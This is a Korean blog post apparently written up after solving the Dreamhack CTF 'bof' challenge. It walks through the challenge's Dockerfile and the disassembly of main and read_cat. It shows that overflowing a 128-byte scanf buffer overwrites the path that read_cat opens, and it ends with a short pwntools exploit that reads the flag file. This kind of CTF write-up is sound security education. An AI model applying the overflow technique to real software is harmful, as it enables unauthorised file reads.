rsp-∞

[Dreamhack CTF Season 5 Round #2] bof 본문

Write-ups/system

[Dreamhack CTF Season 5 Round #2] bof

portrait.kim 2024. 11. 26. 14:50

버퍼 오버플로우 취약점이 존재하는 문제임을 알 수 있다. 문제 파일을 다운받으면 도커 파일과 cat, flag라는 이름의 텍스트 파일, bof라는 바이너리 파일이 존재한다. 도커 파일을 열어 보자.

FROM ubuntu:22.04@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f

ENV user bof
ENV chall_port 31337

RUN apt-get update
RUN apt-get -y install socat

RUN adduser $user

ADD ./deploy/flag /home/$user/flag
ADD ./deploy/$user /home/$user/$user
ADD ./deploy/cat /home/$user/cat

RUN chown root:$user /home/$user/flag
RUN chown root:$user /home/$user/$user
RUN chown root:$user /home/$user/cat

RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
RUN chmod 440 /home/$user/cat

WORKDIR /home/$user
USER $user
EXPOSE $chall_port
CMD socat -T 60 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user

 

이 도커 파일에서 bof가 실행 파일임을 알 수 있다.

ADD ./deploy/$user /home/$user/$user

 

ENV user bof로 환경 변수가 설정되었으므로 이후 등장하는 모든 $user는 bof로 치환된다.

RUN chmod 755 /home/$user/$user

 

/home/bof/bof 파일에 실행 권한(755)이 부여되었다는 것을 알 수 있다. 755가 부여된 실행 파일의 경우 주어지는 권한은 다음과 같다.

 

소유자 : 읽기(r), 쓰기(w), 실행(x)

그룹 및 기타 사용자 : 읽기(r), 실행(x)

 

이제 bof 파일이 실행 파일임을 알았으므로 이를 디스어셈블해 보자.

pwndbg> disassem main
Dump of assembler code for function main:
   0x0000000000401391 <+0>:     endbr64
   0x0000000000401395 <+4>:     push   rbp
   0x0000000000401396 <+5>:     mov    rbp,rsp
   0x0000000000401399 <+8>:     sub    rsp,0x90
   0x00000000004013a0 <+15>:    mov    eax,0x0
   0x00000000004013a5 <+20>:    call   0x40132c <init>
   0x00000000004013aa <+25>:    lea    rax,[rbp-0x10]
   0x00000000004013ae <+29>:    mov    DWORD PTR [rax],0x61632f2e
   0x00000000004013b4 <+35>:    mov    WORD PTR [rax+0x4],0x74
   0x00000000004013ba <+41>:    lea    rax,[rip+0xc6c]        # 0x40202d
   0x00000000004013c1 <+48>:    mov    rdi,rax
   0x00000000004013c4 <+51>:    mov    eax,0x0
   0x00000000004013c9 <+56>:    call   0x4010d0 <printf@plt>
   0x00000000004013ce <+61>:    lea    rax,[rbp-0x90]
   0x00000000004013d5 <+68>:    mov    rsi,rax
   0x00000000004013d8 <+71>:    lea    rax,[rip+0xc55]        # 0x402034
   0x00000000004013df <+78>:    mov    rdi,rax
   0x00000000004013e2 <+81>:    mov    eax,0x0
   0x00000000004013e7 <+86>:    call   0x401130 <__isoc99_scanf@plt>
   0x00000000004013ec <+91>:    lea    rax,[rbp-0x10]
   0x00000000004013f0 <+95>:    mov    rdi,rax
   0x00000000004013f3 <+98>:    call   0x401236 <read_cat>
   0x00000000004013f8 <+103>:   lea    rax,[rbp-0x90]
   0x00000000004013ff <+110>:   mov    rsi,rax
   0x0000000000401402 <+113>:   lea    rax,[rip+0xc31]        # 0x40203a
   0x0000000000401409 <+120>:   mov    rdi,rax
   0x000000000040140c <+123>:   mov    eax,0x0
   0x0000000000401411 <+128>:   call   0x4010d0 <printf@plt>
   0x0000000000401416 <+133>:   mov    eax,0x0
   0x000000000040141b <+138>:   leave
   0x000000000040141c <+139>:   ret
End of assembler dump.

 

 

+56에서 print 함수를 호출하는데, 여기서 고양이가 등장해서 meow? 하며 +86에서 scanf 함수로 입력값을 받는다. 이후 +98에서 read_cat 함수를 호출한다. 이 함수도 출제자가 작성한 것 같으니 디스어셈블해 보자.

0x0000000000401245 <+15>:    mov    QWORD PTR [rbp-0x98],rdi
...
0x000000000040124c <+22>:    lea    rax,[rbp-0x90]
0x0000000000401253 <+29>:    mov    edx,0x80
0x0000000000401258 <+34>:    mov    esi,0x0
0x000000000040125d <+39>:    mov    rdi,rax
0x0000000000401260 <+42>:    call   0x4010e0 <memset@plt>
...
0x0000000000401273 <+61>:    mov    esi,0x0
0x0000000000401278 <+66>:    mov    rdi,rax
0x000000000040127b <+69>:    mov    eax,0x0
0x0000000000401280 <+74>:    call   0x401120 <open@plt>
...
0x00000000004012ae <+120>:   mov    eax,DWORD PTR [rbp-0x4]
0x00000000004012b1 <+123>:   mov    edx,0x80
0x00000000004012b6 <+128>:   mov    rsi,rcx
0x00000000004012b9 <+131>:   mov    edi,eax
0x00000000004012bb <+133>:   call   0x401100 <read@plt>
...
0x00000000004012f3 <+189>:   lea    rax,[rbp-0x90]
0x00000000004012fa <+196>:   mov    rdi,rax
0x00000000004012fd <+199>:   call   0x4010c0 <puts@plt>

 

+15에서 함수의 첫 번째 인자인 rdi(파일 경로)가 [rbp-0x98]에 저장된다. 이는 파일 이름을 가리키는 포인터이다. 다음 +22에서부터 보면 [rbp-0x90]에서 시작하는 128바이트(0x80)를 memset으로 초기화(0으로 설정)한다. 이는 읽기 버퍼를 위한 공간으로 생각할 수 있다. +61부터는 open 시스템 호출로 파일을 열고 있다. rdi는 앞서 언급했듯 파일 이름([rbp-0x98])이다. esi는 읽기 전용 플래그 0으로 설정되고 있음을 알 수 있다. +120에서는 read 시스템 호출로 파일 내용을 읽는다. [rbp-0x90]에서 시작하는 버퍼에 최대 128(0x80)바이트를 읽는다. 이 바이트 수가 반환값이 되어 rax에 저장된다. [rbp-0x90]에 저장된 읽은 데이터를 출력한다.

 

버퍼가 128바이트이므로 이를 꽉 채우고 /home/bof/flag를 입력해주면 open의 인자값으로 들어가면서 플래그가 출력될 것이다.

from pwn import *

p = remote("host3.dreamhack.games", _____)

payload = b'a' * 128 + b'/home/bof/flag'
p.sendlineafter(b'meow? ', payload)

p.interactive()

 

'Write-ups > system' 카테고리의 다른 글

[Dreamhack CTF Season 3 Round #6] mmapped  (0) 2024.11.26
[Dreamhack CTF Season 4 Round #6] Cherry  (0) 2024.11.19
[Dreamhack CTF Season 1 Round #4] cmd_center  (0) 2024.11.14
[DreamHack] rop  (0) 2024.05.25
[DreamHack] Return to Library  (0) 2024.05.25